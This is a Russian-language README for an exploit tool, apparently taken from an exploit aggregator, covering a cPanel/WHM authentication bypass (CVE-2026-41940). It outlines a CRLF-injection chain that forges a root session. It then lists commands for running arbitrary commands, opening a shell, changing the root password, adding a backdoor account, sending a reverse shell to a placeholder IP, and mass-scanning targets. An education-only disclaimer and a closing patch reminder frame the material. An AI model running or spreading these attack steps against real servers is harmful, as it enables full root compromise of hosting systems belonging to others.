## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KILL1234545-CVE-2026-41940
# CVE-2026-41940: Обход аутентификации cPanel/WHM (одиночная и множественная цель)
> **Дисклеймер:** Этот документ и связанный с ним скрипт (`exploit.py`) предоставлены строго в образовательных целях, для исследований в области безопасности и авторизованного тестирования на проникновение. Не используйте это программное обеспечение против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
## Обзор
`exploit.py` — это скрипт, демонстрирующий уязвимость обхода аутентификации (CVE-2026-41940) в cPanel и WHM. Уязвимость позволяет неаутентифицированному атакующему внедрить root-сессию в кэш демона через дефект CRLF-инъекции, в конечном итоге предоставляя доступ к WHM на уровне root без необходимости действительных учетных данных.
## Анализ уязвимости и порядок эксплуатации
Эксплойт использует уязвимость CRLF-инъекции (возврат каретки и перевод строки) в механизме обработки базовой аутентификации (Basic Authentication) в сочетании с дефектом распространения сессии. Скрипт автоматизирует атаку в четыре этапа:
1. **Пре-авторизационная генерация сессии:** подключается к публичным точкам входа (например, `/login/` или `/cgi/login.cgi`) для получения базовой неаутентифицированной сессионной cookie (`whostmgrsession`).
2. **CRLF-инъекция:** отправляет специально сформированный заголовок Basic Authentication, содержащий полезную нагрузку в Base64, которая внедряет поля root-сессии напрямую в кэш сессий `cpsrvd`. Ответ сервера с перенаправлением раскрывает сгенерированный токен безопасности (`cpsess`).
3. **Распространение сессии:** необработанная сессионная cookie отправляется на аутентифицированную конечную точку WHM, что вызывает `do_token_denied` для распространения поддельной сессии в кэш демона — превращая её в действительную аутентифицированную сессию.
4. **Проверка:** обращается к ограниченным конечным точкам WHM API (например, `/json-api/version`) с использованием поддельной сессии для подтверждения доступа уровня root.
* * *
## Предварительные требования
* Python 3.x
* библиотека `requests`
root@kitploit:~
pip install requests
* * *
## Использование
root@kitploit:~
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
* * *
## Аргументы
### Выбор цели
Аргумент| Описание
---|---
`--target URL`| Один URL-адрес WHM (например, `https://target:2087`)
`--target-file FILE`| Файл с целями (по одному `ip:port` в строке) — автоматически включает режим проверки
### Сетевые и основные параметры
### Параметры эксплуатации (после обхода)
### Параметры вывода
Аргумент| Описание
---|---
`--output FILE`| Сохранить токен сессии и детали в JSON-файл
* * *
## Примеры
root@kitploit:~
# Проверить, уязвима ли цель
python exploit.py --target https://target:2087 --check
# Вывести информацию о сервере (версия, учётные записи, привилегии)
python exploit.py --target https://target:2087 --dump
# Сгенерировать root-URL для входа в один клик (вставить в браузер сразу)
python exploit.py --target https://target:2087 --session
# Выполнить команду
python exploit.py --target https://target:2087 --exec "id"
# Запустить интерактивную оболочку WHM
python exploit.py --target https://target:2087 --shell
# Изменить root-пароль
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Вызвать WHM API напрямую
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Создать бэкдор-учётную запись cPanel
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Отправить reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Переопределить имя хоста (используйте, если автоматическое обнаружение не срабатывает)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Сканировать несколько целей (режим только проверки)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Сохранить сессию в файл
python exploit.py --target https://target:2087 --dump --output results.json
* * *
## Команды интерактивной оболочки
При использовании `--shell` доступны следующие команды:
* * *
## Напоминание
Немедленно установите последние обновления безопасности cPanel/WHM.